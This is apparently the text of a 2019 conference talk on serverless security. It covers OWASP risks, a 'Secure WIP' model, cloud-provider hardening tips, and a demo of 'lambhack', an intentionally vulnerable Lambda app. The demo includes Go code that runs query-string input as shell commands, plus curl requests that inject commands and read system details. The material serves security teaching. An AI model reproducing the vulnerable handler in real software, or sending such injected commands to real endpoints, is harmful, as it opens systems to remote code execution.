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Shout out to Karthik 
Gaekwad, @iteration1. 

Follow him on twitter, he 
is awesome.
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Where we are going
* Serverless changes the security landscape
* Where security fits into serverless
* The Secure WIP model for serverless
* A quick look at lambhack
* Serverless provider security tips
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What is 
Serverless?
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Serverless Definition
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Serverless encourages functions as deploy units, 
coupled with third party services that allow running 

end-to-end applications without worrying about 
system operation. 
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Serverless is 
IT Value
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...without worrying about 
system operation

— About 2 minutes ago

@wickett - SnowFROC 2019



Yasss! Ops (and security)

for free!
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Ops burden to rationalize 
serverless model

— @patrickdebois
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Tech burden can only be
transferred
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Applies to 
security too
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Security burden is not 
created or destroyed (in 

serverless), merely 
transferred
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Security is in 
crisis
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Inequitable Labor
Distribution
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10:1
Dev:Ops
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100:10:1
Dev:Ops:Sec
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The new OSI 
model
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Security 
knows the 

crisis is real
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Companies are spending a great 
deal on security, but we read of 

massive computer-related attacks. 
Clearly something is wrong. The 
root of the problem is twofold: 

we’re protecting the wrong things, 
and we’re hurting productivity in 

the process.
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[Security by risk assessment] 
introduces a dangerous fallacy: 
that structured inadequacy is 

almost as good as adequacy and 
that underfunded security efforts 
plus risk management are about 

as good as properly funded 
security work
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And the 
survey says
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While engineering teams are busy 
deploying leading-edge technologies, 

security teams are still focused on fighting 
yesterday’s battles.

SANS 2018 DevSecOps Survey
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95%
of security professionals spend their time 

protecting legacy applications
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"many security teams 
work with a worldview 
where their goal is to 

inhibit change as much 
as possible"
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Serverless model doesn't 
fit into security team's 

worldview
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How do we 
change this?
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WIP
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Secure WIP for Serverless
→ The code that you actually write

→ The code you inherited
→ The container you were provided 
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Secure WIP
means collaboration
DevSecOps
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WIP
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How to WIP?
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OWASP Top 10 (2017)
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VERY relevant in serverless
* A1 Injection
* A5 Broken Access Control
* A6 Security Misconfiguration
* A9 Components with known vulnerabilities
* A10 Insufficient Logging & Monitoring

..talk about these as we go along..
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Secure WIP
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Secure WIP
Write
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OWASP A1-Injection
Issue: Data coming is hostile

* Same issues as in traditional apps, but more prevalent.
* Frontend frameworks made this transparent before.
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OWASP A1-Injection
What should I do?

* Keep your data seperate from commands/queries.
* Verify you are sanitizing any data being stored.
* Pay attention to input validation.
* Use whitelist validation wherever possible.
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OWASP A5-Broken Access Control
Issue: Users cannot act outside their intended 

permissions.
* URL Modificiations
Example: lambhack demo with uname
* Metadata, Header manipulation
* Token Expiration (or lack thereof)
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OWASP A5-Broken Access Control
What do I do?

* Deny by default strategy
* Have an access control mechanism in place
* Rate limit against automated tooling
* Log the failures (but not the sensitive data)

@wickett - SnowFROC 2019



Serverless 
Myth
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You can't do command 
execution through the API 

gateway
— Anonymous Developer
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Vulnerable Lambda + API Gateway stack
→ Wanted to see make the point that appsec is 

relevant in serverless
→ Born from the heritage of WebGoat, Rails Goat …
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Lambhack
→ A Vulnerable Lambda + API Gateway stack

→ Open Source, MIT licensed
→ Includes arbitrary code execution in a query 

string
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Basically a reverse shell in
http query string for lambda

@wickett - SnowFROC 2019



        func lambhackEvent(event *json.RawMessage,
             context *sparta.LambdaContext,
             w http.ResponseWriter,
             logger *logrus.Logger) {

             var lambdaEvent sparta.APIGatewayLambdaJSONEvent
             _ = json.Unmarshal([]byte(*event), &lambdaEvent)

             command := lambdaEvent.QueryParams["args"]
             output := runner.Run(command)
             logger.WithFields(logrus.Fields{
                 "Event":   string(*event),
                 "Command": string(command),
                 "Output":  string(output),
             }).Info("Request received")

             fmt.Fprintf(w, output)
             time.Sleep(time.Second)
         }



        func lambhackEvent(event *json.RawMessage,
             context *sparta.LambdaContext,
             w http.ResponseWriter,
             logger *logrus.Logger) {

             var lambdaEvent sparta.APIGatewayLambdaJSONEvent
             _ = json.Unmarshal([]byte(*event), &lambdaEvent)

             command := lambdaEvent.QueryParams["args"]
             output := runner.Run(command)
             logger.WithFields(logrus.Fields{
                 "Event":   string(*event),
                 "Command": string(command),
                 "Output":  string(output),
             }).Info("Request received")

             fmt.Fprintf(w, output)
             time.Sleep(time.Second)
         }



        func lambhackEvent(event *json.RawMessage,
             context *sparta.LambdaContext,
             w http.ResponseWriter,
             logger *logrus.Logger) {

             var lambdaEvent sparta.APIGatewayLambdaJSONEvent
             _ = json.Unmarshal([]byte(*event), &lambdaEvent)

             command := lambdaEvent.QueryParams["args"]
             output := runner.Run(command)
             logger.WithFields(logrus.Fields{
                 "Event":   string(*event),
                 "Command": string(command),
                 "Output":  string(output),
             }).Info("Request received")

             fmt.Fprintf(w, output)
             time.Sleep(time.Second)
         }



$ make provision
go run main.go provision -s lambhack
INFO[0000] ========================================
INFO[0000] Welcome to LambhackApplication                GoVersion=go1.10 LinkFlags= Option=provision SpartaSHA=740028b SpartaVersion=0.20.1 UTC="2019-02-21T21:09:50Z"
INFO[0000] ========================================
INFO[0000] Provisioning service                          BuildID=8ffac7d463903457c5dc3221d5bf2b5fa0ee589c CodePipelineTrigger= InPlaceUpdates=false NOOP=false Tags=
INFO[0000] Verifying IAM Lambda execution roles
INFO[0000] IAM roles verified                            Count=1
INFO[0000] Checking S3 versioning                        Bucket=lambhack VersioningEnabled=false
INFO[0000] Running `go generate`
INFO[0000] Compiling binary                              Name=Sparta.lambda.amd64
INFO[0011] Executable binary size                        KB=22560 MB=22
INFO[0011] Creating code ZIP archive for upload          TempName=./.sparta/LambhackApplication-code.zip
INFO[0011] Registering Sparta JS function                FunctionName=main_lambhackEvent ScriptName=main_lambhackEvent
INFO[0011] Lambda function deployment package size       KB=22659 MB=22
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Description="API Gateway URL" 
Key=APIGatewayURL 
Value="https://XXXX.execute-api.us-east-1.amazonaws.com/prod"
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Description="API Gateway URL" 
Key=APIGatewayURL 
Value="https://XXXX.execute-api.us-east-1.amazonaws.com/prod"
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uname -a
    curl “<URL>/lambhack/c?args=uname+-a;+sleep+1"

returns
    "Linux ip-10-131-13-166 4.14.94-73.73.amzn1.x86_64 \
    #1 SMP Tue Jan 22 20:25:24 UTC 2019 x86_64 x86_64 \
    x86_64 GNU/Linux\n"
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/proc/version
curl “<URL>/lambhack/c?args=cat+/proc/version;+sleep+1"

returns
    "Linux version 4.14.94-73.73.amzn1.x86_64 \
    (mockbuild@gobi-build-64001) \
    (gcc version 7.2.1 20170915 \
    (Red Hat 7.2.1-2) (GCC)) \
    #1 SMP Tue Jan 22 20:25:24 UTC 2019\n"



Look in /tmp
curl “<URL>/lambhack/c?args=ls+-la+/tmp;+sleep+1"

returns
total 8
drwx------  2 sbx_user1064  482 4096 Feb 21 22:35 .
drwxr-xr-x 21 root         root 4096 Feb 21 17:51 ..
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I can haz web proxy
curl “<URL>/lambhack/c?args=curl+https://www.example.com;+sleep+1"

returns
            <!doctype html>
            <html>
            <head>
            <title>Example Domain</title>
            <meta charset=\"utf-8\" />
            ...



github.com/wickett/lambhack
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AppSec Thoughts from Lambhack
→ Lambda has limited Blast Radius, but not zero
→ Monitoring/Logging plays a key role here

→ Detect longer run times
→ Higher error rate occurrences

→ Log actions of lambdas
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Secure WIP
Inherit
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It all seems so simple...
222 Lines of Code

5 direct dependencies
54 total deps (incl. indirect)

(example thanks to snyk.io)
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460,046 Lines 
of Code
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Most defect density 
studies range from .5 to 

10 defects per KLOC
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More importantly, defect 
density is not zero
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Vulnerabilities are just
exploitable defects
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OWASP-A9 Components with known 
vulnerabilities
What should I do?

* Monitor dependencies continuously.
* If you use a Docker based system, use the registry scanning tools.
* Watch for CVE's (they will happen).
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OWASP-A6 Security Misconfiguration
Issue: Configuration or misconfiguration

* Function permissiveness and roles (too much privilege)
* Configuration for services (supporting cloud based services)
* Security configuration left in logging
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OWASP-A6 Security Misconfiguration
What should I do?

* Consider limiting your blast radius
* Harden security provider config (IAM/storage)
* Scan for global bucket read/write access
* Use a principle of least privilege
* Enterprise setting: MFA to access cloud console
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Most common attacks
→ Crypto Mining (via remote code execution)

→ Business logic attacks
→ Misconfiguration (permissions, data)

→ Maxing out provider spending
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Secure WIP
Provided
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Platform Help
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Vendor Best Practices
→ AWS

→ Google Cloud
→ Azure

→ Oracle Cloud Infrastructure
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AWS
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Gone in 60 Milliseconds
Intrusion and Exfiltration in Server-less Architecture

https://media.ccc.de/v/33c3-7865-
gonein60_milliseconds
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Focus on IAM 
Roles and 

Policies
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Good hygiene
* Disable root access keys
* Manage users with profiles
* Secure your keys in your deploy system
* Secure keys in dev system
* Use provider MFA
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AWS lets you 
roll your own
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Choose your own adventure
→ Your very own Honeypot

→ Defend scanners and attack tooling
→ Parsing reputation lists

→ Deal with whitelisting/blacklisting
→ Tuning WAF Regex rules
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Cool, but not exactly a friendly setup for

devs or ops
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Azure
→ Lots of great resources in the docs

→ Overview
→ Security Policy
→ Key Vault Service
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https://docs.microsoft.com/en-us/azure/security-center/security-center-monitoring
https://docs.microsoft.com/en-us/azure/security-center/tutorial-security-policy
https://jan-v.nl/post/working-with-azure-key-vault-in-azure-functions


Google Cloud
→ Follow IAM and data best practices

→ Security command
→ Storage best practices

@wickett - SnowFROC 2019

https://cloud.google.com/security-command-center/
https://cloud.google.com/storage/docs/best-practices#security


Oracle Cloud Infrastructure
→ Use compartments concepts and IAM to limit 

blast radius
→ Limit specific user/group access to specific 

compartments
→ Security guidance
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https://docs.cloud.oracle.com/iaas/Content/Security/Reference/configuration_security.htm


What about roll your own?
→ Knative
→ OpenFaaS

→ Fn
→ and others...
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Kubernetes Security
→ Many Faas providers can use K8s to deploy/scale

→ Use K8s best practices
→ Starting point- SignalSciences Webinar on 

cloudnative security
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https://info.signalsciences.com/securing-cloud-native-ten-tips-better-container-security
https://info.signalsciences.com/securing-cloud-native-ten-tips-better-container-security


Security Pitfalls for serverless
* Auditors/Compliance
* Lack of instrumentation
* Lack of security controls in dev pipeline
* Provider config
* Lambhack as a way to facilitate conversations
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Security's Path 
to Influence

1. Identify Resource Misutilization
2. Add Telemetry and Feedback 

Loops
3. Automate and Monitor Across 

the Software Pipeline
4. Influence Organizational 

Culture



The New Security Playbook
* Speed up delivery instead of blocking
* Empathy towards devs and ops
* Normal - provide value by making security normal
* Automate - security testing in every phase
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Conclusions
* Use the Secure WIP model
* Involve security team in serverless
* New Security Playbook
* Foster discussion on where to apply controls
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